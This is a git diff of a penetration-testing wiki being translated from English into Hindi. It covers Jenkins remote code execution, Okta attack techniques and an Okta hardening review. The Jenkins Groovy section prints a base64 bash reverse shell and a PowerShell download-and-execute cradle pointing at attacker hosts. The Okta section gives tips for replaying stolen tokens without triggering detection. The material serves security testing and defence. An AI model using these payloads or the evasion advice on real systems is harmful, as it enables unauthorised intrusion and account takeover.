विधि बहुत शोर करती है क्योंकि आपको एक नया प्रोजेक्ट बनाना होता है (स्पष्ट है कि यह केवल तभी काम करेगा जब आपके उपयोगकर्ता को नया प्रोजेक्ट बनाने की अनुमति हो)। -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **एक नया प्रोजेक्ट बनाएं** (Freestyle project) "New Item" पर क्लिक करके या `/view/all/newJob` में। +2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (इसे _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ का उपयोग करके पेलोड शुरू करें, _powershell_ का उपयोग न करें। +3. **Build now** पर क्लिक करें। +1. यदि **Build now** बटन नहीं दिखाई देता है, तो आप अभी भी **configure** --> **Build Triggers** --> `Build periodically` पर जा सकते हैं और `* * * * *` का क्रोन सेट कर सकते हैं। +2. क्रोन का उपयोग करने के बजाय, आप "**Trigger builds remotely**" कॉन्फ़िगरेशन का उपयोग कर सकते हैं जहाँ आपको केवल नौकरी को ट्रिगर करने के लिए API टोकन नाम सेट करने की आवश्यकता है। फिर अपने उपयोगकर्ता प्रोफ़ाइल पर जाएं और **एक API टोकन उत्पन्न करें** (इस API टोकन को उसी नाम से कॉल करें जैसा आपने नौकरी को ट्रिगर करने के लिए API टोकन को कहा था)। अंततः, नौकरी को ट्रिगर करें: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) ## Modifying a Project -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +प्रोजेक्ट पर जाएं और जांचें **क्या आप उनमें से किसी को कॉन्फ़िगर कर सकते हैं** ( "Configure button" की तलाश करें): ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +यदि आप **कोई** **कॉन्फ़िगरेशन** **बटन** नहीं देख सकते हैं तो आप **इसे कॉन्फ़िगर नहीं कर सकते** (लेकिन सभी प्रोजेक्ट्स की जांच करें क्योंकि आप उनमें से कुछ को कॉन्फ़िगर कर सकते हैं और कुछ को नहीं)। -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +या **पथ तक पहुँचने का प्रयास करें** `/job//configure` या `/me/my-views/view/all/job//configure` \_\_ प्रत्येक प्रोजेक्ट में (उदाहरण: `/job/Project0/configure` या `/me/my-views/view/all/job/Project0/configure`)। ## Execution -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +यदि आपको प्रोजेक्ट को कॉन्फ़िगर करने की अनुमति है तो आप **इसे सफल निर्माण पर कमांड निष्पादित करने के लिए बना सकते हैं**: ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +**Save** पर क्लिक करें और प्रोजेक्ट को **build** करें और आपका **कमांड निष्पादित होगा**।\ +यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..6d5ed8d58 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,24 +4,21 @@ ## Jenkins RCE with Groovy Script -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +यह जेनकिंस में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है +1. _path_jenkins/script_ पर जाएं +2. टेक्स्ट बॉक्स के अंदर स्क्रिप्ट डालें ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` +आप एक कमांड का उपयोग करके निष्पादित कर सकते हैं: `cmd.exe /c dir` -You could execute a command using: `cmd.exe /c dir` +**लिनक्स** में आप कर सकते हैं: **`"ls /".execute().text`** -In **linux** you can do: **`"ls /".execute().text`** - -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. - -**Another useful groovy script** is (replace \[INSERT COMMAND]): +यदि आपको टेक्स्ट के अंदर _कोट्स_ और _सिंगल कोट्स_ का उपयोग करने की आवश्यकता है। आप _"""PAYLOAD"""_ (ट्रिपल डबल कोट्स) का उपयोग करके पेलोड को निष्पादित कर सकते हैं। +**एक और उपयोगी ग्रोवी स्क्रिप्ट** है (स्थानापन्न \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### लिनक्स में रिवर्स शेल ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Windows में रिवर्स शेल -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +आप एक PS रिवर्स शेल के साथ HTTP सर्वर तैयार कर सकते हैं और इसे डाउनलोड और निष्पादित करने के लिए Jeking का उपयोग कर सकते हैं: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` - ### Script -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +आप इस प्रक्रिया को [**इस स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) के साथ स्वचालित कर सकते हैं। +आप रिवर्स शेल प्राप्त करने के लिए MSF का उपयोग कर सकते हैं: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..4cf16534c 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,103 +4,103 @@ ## Basic Information -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/) पहचान और पहुंच प्रबंधन क्षेत्र में अपने क्लाउड-आधारित सॉफ़्टवेयर समाधानों के लिए जाना जाता है। ये समाधान विभिन्न आधुनिक अनुप्रयोगों में उपयोगकर्ता प्रमाणीकरण को सरल और सुरक्षित बनाने के लिए डिज़ाइन किए गए हैं। ये न केवल उन कंपनियों के लिए हैं जो अपने संवेदनशील डेटा की सुरक्षा करना चाहती हैं, बल्कि उन डेवलपर्स के लिए भी हैं जो अनुप्रयोगों, वेब सेवाओं और उपकरणों में पहचान नियंत्रण को एकीकृत करने में रुचि रखते हैं। -The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +Okta की प्रमुख पेशकश **Okta Identity Cloud** है। यह प्लेटफ़ॉर्म उत्पादों के एक सूट को शामिल करता है, जिसमें शामिल हैं लेकिन सीमित नहीं हैं: -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **Single Sign-On (SSO)**: कई अनुप्रयोगों में एक सेट लॉगिन क्रेडेंशियल्स के माध्यम से उपयोगकर्ता पहुंच को सरल बनाता है। +- **Multi-Factor Authentication (MFA)**: कई प्रकार की सत्यापन आवश्यकताओं के माध्यम से सुरक्षा को बढ़ाता है। +- **Lifecycle Management**: उपयोगकर्ता खाता निर्माण, अपडेट और निष्क्रियता प्रक्रियाओं को स्वचालित करता है। +- **Universal Directory**: उपयोगकर्ताओं, समूहों और उपकरणों का केंद्रीकृत प्रबंधन सक्षम बनाता है। +- **API Access Management**: APIs तक पहुंच को सुरक्षित और प्रबंधित करता है। -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +ये सेवाएँ सामूहिक रूप से डेटा सुरक्षा को मजबूत करने और उपयोगकर्ता पहुंच को सरल बनाने का लक्ष्य रखती हैं, जिससे सुरक्षा और सुविधा दोनों में सुधार होता है। Okta के समाधानों की बहुपरकारीता उन्हें विभिन्न उद्योगों में एक लोकप्रिय विकल्प बनाती है, जो बड़े उद्यमों, छोटे कंपनियों और व्यक्तिगत डेवलपर्स के लिए फायदेमंद है। सितंबर 2021 में अंतिम अपडेट के अनुसार, Okta पहचान और पहुंच प्रबंधन (IAM) क्षेत्र में एक प्रमुख इकाई के रूप में मान्यता प्राप्त है। > [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> Okta का मुख्य लक्ष्य विभिन्न उपयोगकर्ताओं और समूहों के लिए बाहरी अनुप्रयोगों तक पहुंच को कॉन्फ़िगर करना है। यदि आप **Okta** वातावरण में **प्रशासक विशेषाधिकारों से समझौता करने में सफल होते हैं**, तो आप **संभवतः कंपनी द्वारा उपयोग किए जा रहे सभी अन्य प्लेटफार्मों से समझौता करने में सक्षम होंगे**। > [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> Okta वातावरण की सुरक्षा समीक्षा करने के लिए आपको **प्रशासक केवल पढ़ने की पहुंच** मांगनी चाहिए। ### Summary -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +यहां **उपयोगकर्ता** हैं (जो **Okta में संग्रहीत** हो सकते हैं, कॉन्फ़िगर किए गए **पहचान प्रदाताओं** से लॉग इन कर सकते हैं या **Active Directory** या LDAP के माध्यम से प्रमाणित हो सकते हैं)।\ +ये उपयोगकर्ता **समूहों** के अंदर हो सकते हैं।\ +यहां **प्रमाणक** भी हैं: प्रमाणित करने के लिए विभिन्न विकल्प जैसे पासवर्ड, और कई 2FA जैसे WebAuthn, ईमेल, फोन, Okta Verify (इन्हें सक्षम या अक्षम किया जा सकता है)... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +फिर, यहां **अनुप्रयोग** हैं जो Okta के साथ समन्वयित हैं। प्रत्येक अनुप्रयोग का कुछ **Okta के साथ मैपिंग** होगा ताकि जानकारी साझा की जा सके (जैसे ईमेल पते, पहले नाम...)। इसके अलावा, प्रत्येक अनुप्रयोग को एक **प्रमाणीकरण नीति** के अंतर्गत होना चाहिए, जो यह दर्शाती है कि किसी उपयोगकर्ता को अनुप्रयोग तक **पहुँचने** के लिए **आवश्यक प्रमाणक** क्या हैं। > [!CAUTION] -> The most powerful role is **Super Administrator**. +> सबसे शक्तिशाली भूमिका **सुपर प्रशासक** है। > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> यदि एक हमलावर Okta को प्रशासक पहुंच के साथ समझौता करता है, तो सभी **अनुप्रयोग जो Okta पर भरोसा करते हैं** संभवतः **समझौता** कर लिए जाएंगे। ## Attacks ### Locating Okta Portal -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +आमतौर पर किसी कंपनी का पोर्टल **companyname.okta.com** पर स्थित होगा। यदि नहीं, तो **companyname.** के सरल **विविधताओं** का प्रयास करें। यदि आप इसे नहीं ढूंढ पाते हैं, तो यह भी संभव है कि संगठन के पास **CNAME** रिकॉर्ड हो जैसे **`okta.companyname.com`** जो **Okta पोर्टल** की ओर इशारा करता है। ### Login in Okta via Kerberos -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +यदि **`companyname.kerberos.okta.com`** सक्रिय है, तो **Okta पहुंच के लिए Kerberos का उपयोग किया जाता है**, आमतौर पर **Windows** उपयोगकर्ताओं के लिए **MFA** को बायपास करते हुए। AD में Kerberos-सत्यापित Okta उपयोगकर्ताओं को खोजने के लिए, **`getST.py`** को **उपयुक्त पैरामीटर** के साथ चलाएं। एक **AD उपयोगकर्ता टिकट** प्राप्त करने के बाद, **इसे** नियंत्रित होस्ट में Rubeus या Mimikatz जैसे उपकरणों का उपयोग करके **इंजेक्ट** करें, यह सुनिश्चित करते हुए कि **`clientname.kerberos.okta.com` इंटरनेट विकल्पों "इंट्रानेट" क्षेत्र में है**। एक विशिष्ट URL तक पहुंचने पर JSON "OK" प्रतिक्रिया लौटनी चाहिए, जो Kerberos टिकट स्वीकृति को दर्शाती है, और Okta डैशबोर्ड तक पहुंच प्रदान करती है। -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +**Okta सेवा खाते से समझौता करना और प्रतिनिधित्व SPN एक Silver Ticket हमले को सक्षम करता है।** हालाँकि, Okta के टिकट एन्क्रिप्शन के लिए **AES** का उपयोग करने के लिए AES कुंजी या प्लेनटेक्स्ट पासवर्ड होना आवश्यक है। **`ticketer.py` का उपयोग करें ताकि पीड़ित उपयोगकर्ता के लिए एक टिकट उत्पन्न किया जा सके** और इसे ब्राउज़र के माध्यम से Okta के साथ प्रमाणित करने के लिए वितरित किया जा सके। -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** ### Hijacking Okta AD Agent -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +यह तकनीक **एक सर्वर पर Okta AD एजेंट तक पहुंचने** से संबंधित है, जो **उपयोगकर्ताओं को समन्वयित करता है और प्रमाणीकरण को संभालता है**। **`OktaAgentService.exe.config`** में कॉन्फ़िगरेशन की जांच और डिक्रिप्ट करके, विशेष रूप से AgentToken का उपयोग करके **DPAPI**, एक हमलावर संभावित रूप से **प्रमाणीकरण डेटा को इंटरसेप्ट और हेरफेर** कर सकता है। यह न केवल Okta प्रमाणीकरण प्रक्रिया के दौरान **उपयोगकर्ता क्रेडेंशियल्स** को प्लेनटेक्स्ट में **निगरानी** और **कैप्चर** करने की अनुमति देता है, बल्कि **प्रमाणीकरण प्रयासों** का भी उत्तर देने की अनुमति देता है, जिससे अनधिकृत पहुंच सक्षम होती है या Okta के माध्यम से सार्वभौमिक प्रमाणीकरण प्रदान किया जाता है (जैसे 'कंकाल कुंजी')। -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** ### Hijacking AD As an Admin -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +यह तकनीक पहले OAuth कोड प्राप्त करके फिर API टोकन का अनुरोध करके Okta AD एजेंट को हाईजैक करने से संबंधित है। टोकन एक AD डोमेन से संबंधित है, और एक **कनेक्टर को एक नकली AD एजेंट स्थापित करने के लिए नामित किया गया है**। प्रारंभिककरण एजेंट को **प्रमाणीकरण प्रयासों को संसाधित करने** की अनुमति देता है, Okta API के माध्यम से क्रेडेंशियल्स को कैप्चर करता है। स्वचालन उपकरण इस प्रक्रिया को सरल बनाने के लिए उपलब्ध हैं, जो Okta वातावरण के भीतर प्रमाणीकरण डेटा को इंटरसेप्ट और संभालने के लिए एक सहज विधि प्रदान करते हैं। -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** ### Okta Fake SAML Provider -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +यह तकनीक **एक नकली SAML प्रदाता को तैनात करने** से संबंधित है। एक विशेषाधिकार प्राप्त खाते का उपयोग करके Okta के ढांचे के भीतर एक बाहरी पहचान प्रदाता (IdP) को एकीकृत करके, हमलावर **IdP को नियंत्रित कर सकते हैं, किसी भी प्रमाणीकरण अनुरोध को इच्छानुसार अनुमोदित कर सकते हैं**। प्रक्रिया में Okta में SAML 2.0 IdP सेट करना, स्थानीय होस्ट फ़ाइल के माध्यम से पुनर्निर्देशन के लिए IdP सिंगल साइन-ऑन URL में हेरफेर करना, एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करना, और उपयोगकर्ता नाम या ईमेल के खिलाफ Okta सेटिंग्स को कॉन्फ़िगर करना शामिल है। इन चरणों को सफलतापूर्वक निष्पादित करने से किसी भी Okta उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति मिलती है, व्यक्तिगत उपयोगकर्ता क्रेडेंशियल्स की आवश्यकता को बायपास करते हुए, संभावित रूप से अनदेखी तरीके से पहुंच नियंत्रण को महत्वपूर्ण रूप से बढ़ाता है। ### Phishing Okta Portal with Evilgnix -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +[**इस ब्लॉग पोस्ट**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) में बताया गया है कि Okta पोर्टल के खिलाफ फ़िशिंग अभियान कैसे तैयार करें। ### Colleague Impersonation Attack -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**. +**प्रत्येक उपयोगकर्ता के पास होने वाले और संशोधित करने योग्य विशेषताएँ** (जैसे ईमेल या पहले नाम) Okta में कॉन्फ़िगर की जा सकती हैं। यदि एक **अनुप्रयोग** एक **विशेषता** के रूप में ID पर **भरोसा** करता है जिसे उपयोगकर्ता **संशोधित** कर सकता है, तो वह उस प्लेटफ़ॉर्म में अन्य उपयोगकर्ताओं का **नकली रूप धारण** करने में सक्षम होगा। -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +इसलिए, यदि ऐप **`userName`** फ़ील्ड पर भरोसा कर रहा है, तो आप संभवतः इसे बदलने में सक्षम नहीं होंगे (क्योंकि आप आमतौर पर उस फ़ील्ड को नहीं बदल सकते), लेकिन यदि यह उदाहरण के लिए **`primaryEmail`** पर भरोसा कर रहा है, तो आप इसे **एक सहयोगी के ईमेल पते** में बदलने में सक्षम हो सकते हैं और उसका नकली रूप धारण कर सकते हैं (आपको ईमेल तक पहुंच प्राप्त करनी होगी और परिवर्तन को स्वीकार करना होगा)। -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +ध्यान दें कि यह नकली रूप धारण करना इस बात पर निर्भर करता है कि प्रत्येक अनुप्रयोग को कैसे कॉन्फ़िगर किया गया था। केवल वही जो आपने संशोधित किया है उस फ़ील्ड पर भरोसा करते हैं और अपडेट स्वीकार करते हैं, वे समझौता किए जाएंगे।\ +इसलिए, यदि यह फ़ील्ड मौजूद है तो ऐप को इसे सक्षम करना चाहिए:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +मैंने अन्य ऐप्स को भी देखा है जो कमजोर थे लेकिन Okta सेटिंग्स में वह फ़ील्ड नहीं थी (अंत में विभिन्न ऐप्स को अलग-अलग तरीके से कॉन्फ़िगर किया गया है)। -The best way to find out if you could impersonate anyone on each app would be to try it! +यह पता लगाने का सबसे अच्छा तरीका कि क्या आप प्रत्येक ऐप पर किसी का भी नकली रूप धारण कर सकते हैं, यह प्रयास करना होगा! ## Evading behavioural detection policies -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +Okta में व्यवहारिक पहचान नीतियाँ तब तक अज्ञात हो सकती हैं जब तक कि उनका सामना न किया जाए, लेकिन **उन्हें बायपास करना** **Okta अनुप्रयोगों को सीधे लक्षित करके** किया जा सकता है, मुख्य Okta डैशबोर्ड से बचते हुए। एक **Okta एक्सेस टोकन** के साथ, मुख्य लॉगिन पृष्ठ के बजाय **अनुप्रयोग-विशिष्ट Okta URL** पर टोकन को पुनः चलाएं। -Key recommendations include: +मुख्य सिफारिशों में शामिल हैं: -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **लोकप्रिय एनोनिमाइज़र प्रॉक्सी और VPN सेवाओं का उपयोग करने से बचें** जब कैप्चर किए गए एक्सेस टोकन को पुनः चलाते हैं। +- सुनिश्चित करें कि **क्लाइंट और पुनः चलाए गए एक्सेस टोकनों के बीच उपयोगकर्ता-एजेंट स्ट्रिंग्स** सुसंगत हैं। +- **एक ही IP पते से विभिन्न उपयोगकर्ताओं के टोकनों को पुनः चलाने से बचें**। +- Okta डैशबोर्ड के खिलाफ टोकनों को पुनः चलाते समय सावधानी बरतें। +- यदि पीड़ित कंपनी के IP पते के बारे में पता है, तो **उन IPs या उनके रेंज तक ट्रैफ़िक को सीमित करें**, सभी अन्य ट्रैफ़िक को ब्लॉक करें। ## Okta Hardening -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +Okta में कई संभावित कॉन्फ़िगरेशन हैं, इस पृष्ठ पर आप उन्हें इस तरह से समीक्षा करना सीखेंगे कि वे यथासंभव सुरक्षित हों: {{#ref}} okta-hardening.md @@ -112,7 +112,3 @@ okta-hardening.md - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..f6c8060d9 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +हमलावर के दृष्टिकोण से, यह बहुत दिलचस्प है क्योंकि आप **सभी पंजीकृत उपयोगकर्ताओं** को देख सकेंगे, उनके **ईमेल** पते, वे **समूह** जिनका वे हिस्सा हैं, **प्रोफाइल** और यहां तक कि **डिवाइस** (मोबाइल और उनके OS) भी देख सकेंगे। -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +एक व्हाइटबॉक्स समीक्षा के लिए जांचें कि "**लंबित उपयोगकर्ता क्रिया**" और "**पासवर्ड रीसेट**" नहीं हैं। ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +यहां आप Okta में बनाए गए सभी समूहों को पाएंगे। यह समझना दिलचस्प है कि विभिन्न समूहों (**अनुमतियों** का सेट) को **उपयोगकर्ताओं** को दिया जा सकता है।\ +यह देखना संभव है कि **समूहों में शामिल लोग** और **प्रत्येक समूह को असाइन किए गए ऐप्स** कौन से हैं। -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +बेशक, **admin** नाम वाले किसी भी समूह में दिलचस्पी है, विशेष रूप से समूह **Global Administrators,** सदस्यों की जांच करें ताकि यह जान सकें कि सबसे विशेषाधिकार प्राप्त सदस्य कौन हैं। -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +एक व्हाइटबॉक्स समीक्षा से, वहां **5 से अधिक वैश्विक प्रशासक नहीं होने चाहिए** (यदि केवल 2 या 3 हैं तो बेहतर है)। ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +यहां सभी उपयोगकर्ताओं के **सभी उपकरणों की सूची** पाएंगे। आप यह भी देख सकते हैं कि इसे **सक्रिय रूप से प्रबंधित** किया जा रहा है या नहीं। ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +यहां यह देखना संभव है कि कैसे महत्वपूर्ण जानकारी जैसे पहले नाम, अंतिम नाम, ईमेल, उपयोगकर्ता नाम... Okta और अन्य अनुप्रयोगों के बीच साझा की जाती है। यह दिलचस्प है क्योंकि यदि एक उपयोगकर्ता **Okta में एक फ़ील्ड** (जैसे उसका नाम या ईमेल) को **संशोधित** कर सकता है, जो फिर एक **बाहरी अनुप्रयोग** द्वारा उपयोगकर्ता की **पहचान** के लिए उपयोग किया जाता है, तो एक अंदरूनी व्यक्ति अन्य खातों को **अपने कब्जे में लेने** की कोशिश कर सकता है। -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +इसके अलावा, Okta के प्रोफाइल **`User (default)`** में आप देख सकते हैं कि प्रत्येक **उपयोगकर्ता** के पास **कौन से फ़ील्ड** हैं और कौन से **उपयोगकर्ताओं द्वारा लिखने योग्य** हैं। यदि आप व्यवस्थापक पैनल नहीं देख सकते हैं, तो बस **अपनी प्रोफाइल** जानकारी को अपडेट करने के लिए जाएं और आप देखेंगे कि आप कौन से फ़ील्ड अपडेट कर सकते हैं (ध्यान दें कि एक ईमेल पते को अपडेट करने के लिए आपको इसे सत्यापित करने की आवश्यकता होगी)। ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +डायरेक्टरीज़ आपको मौजूदा स्रोतों से लोगों को आयात करने की अनुमति देती हैं। मुझे लगता है कि यहां आप अन्य 